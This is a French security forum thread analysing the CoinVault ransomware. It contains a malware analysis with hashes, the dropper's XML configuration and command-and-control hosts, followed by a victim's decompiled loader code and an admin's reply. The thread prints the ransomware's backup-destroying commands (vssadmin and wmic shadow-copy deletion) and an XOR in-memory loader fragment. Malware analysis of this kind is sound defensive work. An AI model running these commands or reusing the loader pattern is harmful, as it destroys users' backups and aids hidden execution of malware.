Rançongiciel CoinVault

Avatar de l’utilisateur
ѠOOT
Geek à longue barbe
Geek à longue barbe
Messages : 1043
Inscription : 28 déc. 2011 20:39

Rançongiciel CoinVault

Message par ѠOOT » 25 nov. 2014 17:32

Bonjour,

Avant même de faire de nombreuses victimes, CoinVault avait déjà sa "tête" placardée dans les médias. J'ai baptisé "malwareketing" ( Malware+Marketing ) pour décrire le storytelling marketing viral qui accompagne les évènements qui défrayent les chroniques autour des attaques, des programmes malveillants, etc...

Bref, je vais tenter d'aborder quelque chose qui n'a pas encore été détaillé sur CoinVault (CV) et par la même de répondre à la question de l'unique victime du forum : "Est-ce "cvlock.exe" qui encrypte les fichiers ?"

Le fichier "cvlock.exe" ( SHA1: 911670753FFB5D56466888A22182501C4E32EBED ) est un PE 32-bit ayant été compilé le jeudi 20 novembre 2014 à 23:15:49. Les informations de débogage renseignent sur le Debug Directory: "c:\Users\Administrator\Desktop\cvlock.pdb" & le GUID: "1A6220F6-56B4-4527-B0E4-78455E713C6".

La fonction InitializeComponent() va décrypter un bloc de données pour libérer un stub nommé "S.H.I.E.L.D_runner" ( SHA1 : 348FF994F20F749CB09C38A72B8503C8158AD5AC ) de 17 408 octets. Les informations de débogage contiennent le GUID: "41ECCB53-38C5-485C-B0EC-6E6A286479C" & l'environnement de développement : "d:\users\melvin van den berg\documents\mega\s.h.i.e.l.d\s.h.i.e.l.d_runner\s.h.i.e.l.d_runner\obj\release\s.h.i.e.l.d_runner.pdb".

→ Reconstruction du code.
Image

→ Extrait de la sortie du décryptage en live analysis.
Image

Stockée en ressources: "JOVNKEoiOw" décryptée, la configuration en XML du stub.

<?xml version="1.0"?>
<Settings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<executeStub>true</executeStub>
<dropStub>false</dropStub>
<detectMaltester>false</detectMaltester>
<dropStubHide>false</dropStubHide>
<dropStubPump>false</dropStubPump>
<dropStubName />
<dropStubLocation />
<dropStubSetRegistry>false</dropStubSetRegistry>
<dropStubRegLocation />
<dropStubRegValueName />
<stubBytes>@PAYLOAD@</stubBytes>
<executeProgram>false</executeProgram>
</Settings>


Le booléen executeStub étant à vrai, je m'occupe que des stubBytes. Le payload est encodé en base64. Une fois décodé, on obtient le fichier "Locker.exe" ( SHA1: 2522C2118DF04D3AE5CF3634A7558E6E5BB91D4B ) un PE 32-bit compilé le jeudi 20 novembre 2014 à 20:10:04 qui sera exécuté depuis un Process.Start.

→ Propriétés du programme
FileVersion : 1.0.0.0
InternalName : Locker.exe
FileDescription : CoinVault
Comments : Your worst nightmare.

Une DLL d' ~188 Ko est encodée en ressource ( SHA1: DC335FFAE5D566E37329A8A57BAB0DED01C64D53 )

Je ne détaillerai pas d'avantage, j'indique seulement la relation avec l'IP bloquée par MBAM.

→ Serveurs contactés :
☣ CV.DNSFOR.ME ( 8.23.224.90 )
☣ CV.POINTTO.US ( 8.23.224.90 )


Autre réponse à une question posée : les versions précédentes sont supprimées.
- "%windir%\system32\vssadmin.exe" Delete Shadows /All /Quiet
- "%windir%\system32\wbem\wmic.exe" shadowcopy delete


Encore une fois, les rançongiciels chiffreurs paralysent & prennent en otage des fichiers en échange de rançons via Bitcoin. Encore une fois, les utilisateurs feront l'amalgame entre crypto-monnaies & activités criminelles. Encore une fois, les utilisateurs inquiets vont croire qu'acheter des solutions de sécurité va régler la situation. Encore une fois, la peur de perdre les données va pousser à dématérialiser dans les nuages / cloud via des services STaaS. Encore une fois, les auteurs de rançongiciels ont tout à perdre alors qu'ils pourraient s'enrichir légalement. Au lieu de ça, ces pions font le jeu des géants, le temps d'une partie.

→ ( 29 octobre 2015 ) Kaspersky Lab and the Dutch Police are Ending the Nightmare for 14,031 CoinVault and Bitcryptor Ransomware Victims Worldwide

https://noransom.kaspersky.com/
‮Vous aimez la sécurité informatique ? Dopez vos neurones, achetez MISCMAG !
...nuf rof tsuJ


thiers89
Messages : 1
Inscription : 31 mars 2015 22:23

Re: Rançongiciel CoinVault

Message par thiers89 » 31 mars 2015 22:45

Bonjour,

Je suis une "victime" du ransomware CoinVault (v1.0.1.1) et j'essaye de trouver une solution pour décrypter mes fichiers.

Je me suis dit que peut être qu'en modifiant le code du programme cv-lock.exe, on pourrait peut être faire quelque chose (par ex. au moment où l'on clique sur le bouton "Check payment and receive key", renvoyer une information comme quoi si le paiement n'a pas effectué cela récupère les clés de décryptage) mais je ne maîtrise pas la programmation.

Voici des bouts de code récupérés dans l'exe en utilisant un décompiler, est-ce que quelqu'un peut me dire si il y a quelque chose à en tirer, si cela correspond à la méthode d'encryptage...

Code : Tout sélectionner

this.lSAGTaQAE[1] = (object) "QZymljmlKS.txt";
    this.lSAGTaQAE[0] = (object) "hvOfdTQRUHOBefshZRAzvqUjE";
    this.EvQzCLQFpCiq = Form1.VYJjUCKwwMCthfPSE(data, this.lSAGTaQAE[0].ToString());
    this.label1 = new Label();
    this.SuspendLayout();
    this.label1.AutoSize = true;
    this.label1.Location = new Point(13, 13);
    this.label1.Name = "label1";
    this.label1.Size = new Size(35, 13);
    this.label1.TabIndex = 0;
    this.label1.Text = "label1";
    this.ClientSize = new Size(284, 262);
    this.Controls.Add((Control) this.label1);
    this.Name = "Form1";
    this.ResumeLayout(false);
    this.teibvtMMouatZCQ();
  }

  protected override void Dispose(bool disposing)
  {
    if (disposing && this.com != null)
      this.com.Dispose();
    base.Dispose(disposing);
  }

  private static byte[] VYJjUCKwwMCthfPSE(byte[] data, string key)
  {
    byte[] numArray = new byte[data.Length];
    for (int index = 0; index < data.Length; ++index)
      numArray[index] = (byte) ((uint) data[index] ^ (uint) key[index % key.Length]);
    return numArray;
  }

  private static void Main(string[] args)
  {
    Form1 form1 = new Form1();
  }

  public void teibvtMMouatZCQ()
  {
    wcNaCPmBL wcNaCpmBl = new wcNaCPmBL(new XfFKLGAkmGUDpxio(AppDomain.CurrentDomain.Load(this.EvQzCLQFpCiq)).SngUDfDcij(), this.lSAGTaQAE);
  }
}

Code : Tout sélectionner

using System.Reflection;

internal class XfFKLGAkmGUDpxio
{
  private Assembly abXJAoTbHJhbs;

  public XfFKLGAkmGUDpxio(Assembly GrKcYZTEEkghhO)
  {
    this.abXJAoTbHJhbs = GrKcYZTEEkghhO;
  }

  public MethodInfo SngUDfDcij()
  {
    return this.abXJAoTbHJhbs.GetTypes()[0].GetMethods()[0];
  }
}
Je peux fournir d'autres bouts du code si nécessaire.

Merci par avance pour votre aide.

Avatar de l’utilisateur
Malekal_morte
Site Admin
Site Admin
Messages : 87604
Inscription : 10 sept. 2005 13:57
Contact :

Re: Rançongiciel CoinVault

Message par Malekal_morte » 01 avr. 2015 12:34

Salut,

Ca n'est pas aussi simple puisque les fichiers sont chiffrés (avec GnuPG je crois pour ce ransomware), donc dans tous les cas, il faut la clef pour déchiffrer les fichiers.
Première règle élémentaire de sécurité : on réfléchit puis on clic et pas l'inverse - Les fichiers/programmes c'est comme les bonbons, quand ça vient d'un inconnu, on n'accepte pas

Sécuriser son ordinateur (version courte)

Tutoriels Logiciels - Tutoriel Windows - Windows 10

Stop publicités - popups intempestives
supprimer-trojan.com : guide de suppression de malwares

Partagez malekal.com : n'hésitez pas à partager sur Facebook et GooglePlus les articles qui vous plaisent.


Répondre

Revenir vers « Tech, Tips & Tricks »

Qui est en ligne ?

Utilisateurs parcourant ce forum : Aucun utilisateur inscrit et 1 invité